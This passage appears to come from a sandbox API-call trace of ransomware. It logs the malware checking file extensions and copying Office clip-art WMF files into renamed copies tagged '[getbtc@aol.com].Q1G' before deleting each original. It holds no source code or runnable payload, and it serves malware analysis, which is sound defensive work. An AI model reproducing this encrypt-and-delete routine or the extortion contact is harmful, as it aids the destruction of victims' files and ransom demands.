(lpString1=".ppt", lpString2=".WMF") returned -1 [0263.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0263.066] lstrlenW (lpString=".zip") returned 4 [0263.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.066] lstrlenW (lpString=".rar") returned 4 [0263.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.066] lstrlenW (lpString=".bz2") returned 4 [0263.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.066] lstrlenW (lpString=".7z") returned 3 [0263.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0263.066] lstrlenW (lpString=".dbf") returned 4 [0263.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0263.066] lstrlenW (lpString=".1cd") returned 4 [0263.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0263.067] lstrlenW (lpString=".jpg") returned 4 [0263.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0263.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0263.067] lstrlenW (lpString=".doc") returned 4 [0263.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.067] lstrlenW (lpString=".docx") returned 5 [0263.067] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0263.067] lstrlenW (lpString=".pdf") returned 4 [0263.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.067] lstrlenW (lpString=".xls") returned 4 [0263.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.067] lstrlenW (lpString=".xlsx") returned 5 [0263.067] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0263.067] lstrlenW (lpString=".ppt") returned 4 [0263.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0263.067] lstrlenW (lpString=".zip") returned 4 [0263.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.067] lstrlenW (lpString=".rar") returned 4 [0263.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.067] lstrlenW (lpString=".bz2") returned 4 [0263.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.067] lstrlenW (lpString=".7z") returned 3 [0263.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0263.067] lstrlenW (lpString=".dbf") returned 4 [0263.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0263.067] lstrlenW (lpString=".1cd") returned 4 [0263.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0263.067] lstrlenW (lpString=".jpg") returned 4 [0263.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.068] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.231] lstrlenW (lpString="J0152892.WMF") returned 12 [0263.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.249] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=10668) returned 1 [0263.249] CloseHandle (hObject=0x388) returned 1 [0263.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf")) returned 0x20 [0263.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.259] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.259] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.260] GetLastError () returned 0x0 [0263.260] ReadFile (in: hFile=0x388, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x29ac, lpOverlapped=0x0) returned 1 [0263.294] WriteFile (in: hFile=0x3c4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x29b0, lpOverlapped=0x0) returned 1 [0263.295] ReadFile (in: hFile=0x388, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.295] WriteFile (in: hFile=0x3c4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.295] SetEndOfFile (hFile=0x3c4) returned 1 [0263.295] CloseHandle (hObject=0x3c4) returned 1 [0263.295] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.295] SetEndOfFile (hFile=0x388) returned 1 [0263.297] CloseHandle (hObject=0x388) returned 1 [0263.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf")) returned 1 [0263.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0263.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0263.298] lstrlenW (lpString=".doc") returned 4 [0263.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.298] lstrlenW (lpString=".docx") returned 5 [0263.298] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0263.298] lstrlenW (lpString=".pdf") returned 4 [0263.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.298] lstrlenW (lpString=".xls") returned 4 [0263.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.299] lstrlenW (lpString=".xlsx") returned 5 [0263.299] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0263.299] lstrlenW (lpString=".ppt") returned 4 [0263.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0263.299] lstrlenW (lpString=".zip") returned 4 [0263.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.299] lstrlenW (lpString=".rar") returned 4 [0263.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.299] lstrlenW (lpString=".bz2") returned 4 [0263.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.299] lstrlenW (lpString=".7z") returned 3 [0263.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0263.299] lstrlenW (lpString=".dbf") returned 4 [0263.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0263.299] lstrlenW (lpString=".1cd") returned 4 [0263.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0263.299] lstrlenW (lpString=".jpg") returned 4 [0263.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0263.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0263.299] lstrlenW (lpString=".doc") returned 4 [0263.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.299] lstrlenW (lpString=".docx") returned 5 [0263.299] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0263.299] lstrlenW (lpString=".pdf") returned 4 [0263.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.299] lstrlenW (lpString=".xls") returned 4 [0263.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.299] lstrlenW (lpString=".xlsx") returned 5 [0263.299] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0263.300] lstrlenW (lpString=".ppt") returned 4 [0263.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0263.300] lstrlenW (lpString=".zip") returned 4 [0263.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.300] lstrlenW (lpString=".rar") returned 4 [0263.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.300] lstrlenW (lpString=".bz2") returned 4 [0263.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.300] lstrlenW (lpString=".7z") returned 3 [0263.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0263.300] lstrlenW (lpString=".dbf") returned 4 [0263.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0263.300] lstrlenW (lpString=".1cd") returned 4 [0263.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned 63 [0263.300] lstrlenW (lpString=".jpg") returned 4 [0263.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.300] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.300] lstrlenW (lpString="J0153093.WMF") returned 12 [0263.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.326] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=8880) returned 1 [0263.326] CloseHandle (hObject=0x3a8) returned 1 [0263.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf")) returned 0x20 [0263.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.348] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.348] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.354] GetLastError () returned 0x0 [0263.354] ReadFile (in: hFile=0x388, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x22b0, lpOverlapped=0x0) returned 1 [0263.397] WriteFile (in: hFile=0x3c4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x22c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x22c0, lpOverlapped=0x0) returned 1 [0263.398] ReadFile (in: hFile=0x388, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.398] WriteFile (in: hFile=0x3c4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.398] SetEndOfFile (hFile=0x3c4) returned 1 [0263.398] CloseHandle (hObject=0x3c4) returned 1 [0263.398] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.398] SetEndOfFile (hFile=0x388) returned 1 [0263.400] CloseHandle (hObject=0x388) returned 1 [0263.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf")) returned 1 [0263.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0263.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0263.401] lstrlenW (lpString=".doc") returned 4 [0263.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.401] lstrlenW (lpString=".docx") returned 5 [0263.401] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0263.401] lstrlenW (lpString=".pdf") returned 4 [0263.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.402] lstrlenW (lpString=".xls") returned 4 [0263.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.402] lstrlenW (lpString=".xlsx") returned 5 [0263.402] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0263.402] lstrlenW (lpString=".ppt") returned 4 [0263.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0263.402] lstrlenW (lpString=".zip") returned 4 [0263.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.402] lstrlenW (lpString=".rar") returned 4 [0263.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.402] lstrlenW (lpString=".bz2") returned 4 [0263.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.402] lstrlenW (lpString=".7z") returned 3 [0263.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0263.402] lstrlenW (lpString=".dbf") returned 4 [0263.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0263.402] lstrlenW (lpString=".1cd") returned 4 [0263.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0263.402] lstrlenW (lpString=".jpg") returned 4 [0263.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0263.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0263.402] lstrlenW (lpString=".doc") returned 4 [0263.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.402] lstrlenW (lpString=".docx") returned 5 [0263.402] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0263.402] lstrlenW (lpString=".pdf") returned 4 [0263.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.402] lstrlenW (lpString=".xls") returned 4 [0263.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.402] lstrlenW (lpString=".xlsx") returned 5 [0263.403] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0263.403] lstrlenW (lpString=".ppt") returned 4 [0263.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0263.403] lstrlenW (lpString=".zip") returned 4 [0263.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.403] lstrlenW (lpString=".rar") returned 4 [0263.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.403] lstrlenW (lpString=".bz2") returned 4 [0263.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.403] lstrlenW (lpString=".7z") returned 3 [0263.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0263.403] lstrlenW (lpString=".dbf") returned 4 [0263.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0263.403] lstrlenW (lpString=".1cd") returned 4 [0263.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0263.403] lstrlenW (lpString=".jpg") returned 4 [0263.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.403] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.403] lstrlenW (lpString="J0153299.WMF") returned 12 [0263.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.404] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=36620) returned 1 [0263.404] CloseHandle (hObject=0x388) returned 1 [0263.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf")) returned 0x20 [0263.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0263.404] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.404] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.405] GetLastError () returned 0x0 [0263.405] ReadFile (in: hFile=0x388, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x8f0c, lpOverlapped=0x0) returned 1 [0263.428] WriteFile (in: hFile=0x3c4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x8f10, lpOverlapped=0x0) returned 1 [0263.429] ReadFile (in: hFile=0x388, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.429] WriteFile (in: hFile=0x3c4, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.429] SetEndOfFile (hFile=0x3c4) returned 1 [0263.430] CloseHandle (hObject=0x3c4) returned 1 [0263.430] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.430] SetEndOfFile (hFile=0x388) returned 1 [0263.433] CloseHandle (hObject=0x388) returned 1 [0263.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf")) returned 1 [0263.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0263.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0263.529] lstrlenW (lpString=".doc") returned 4 [0263.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.529] lstrlenW (lpString=".docx") returned 5 [0263.529] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0263.529] lstrlenW (lpString=".pdf") returned 4 [0263.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.529] lstrlenW (lpString=".xls") returned 4 [0263.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.529] lstrlenW (lpString=".xlsx") returned 5 [0263.529] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0263.529] lstrlenW (lpString=".ppt") returned 4 [0263.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0263.530] lstrlenW (lpString=".zip") returned 4 [0263.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.530] lstrlenW (lpString=".rar") returned 4 [0263.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.530] lstrlenW (lpString=".bz2") returned 4 [0263.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.530] lstrlenW (lpString=".7z") returned 3 [0263.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0263.530] lstrlenW (lpString=".dbf") returned 4 [0263.530] lstrcmpiW 